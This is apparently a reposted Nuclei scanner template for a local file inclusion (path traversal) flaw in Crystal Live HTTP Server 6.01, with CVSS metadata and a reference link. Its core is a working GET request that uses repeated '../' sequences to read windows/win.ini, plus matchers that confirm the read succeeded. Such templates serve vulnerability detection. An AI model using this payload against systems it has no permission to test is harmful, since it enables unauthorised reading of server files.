crystal-live-server-lfi: Crystal Live HTTP Server 6.01 - Local File Inclusion

2025-08-01 Crystal Live HTTP Server 6.01 PoC Public

Description

Crystal Live HTTP Server 6.01 is vulnerable to local file inclusion.

PoC

id: crystal-live-server-lfi

info:
  name: Crystal Live HTTP Server 6.01 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Crystal Live HTTP Server 6.01 is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2019110127
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: lfi,crystal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a00463044022010ddc7a4d5f38a0a1b10c45e8b43994af8294bf2a77d1988a604606e46d82d8d022078fbeefa2eaa2a6d36280d39febb8e91c8e10f7bf8685a567e64f65de2a262b3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/crystal-live-server-lfi.yaml

References

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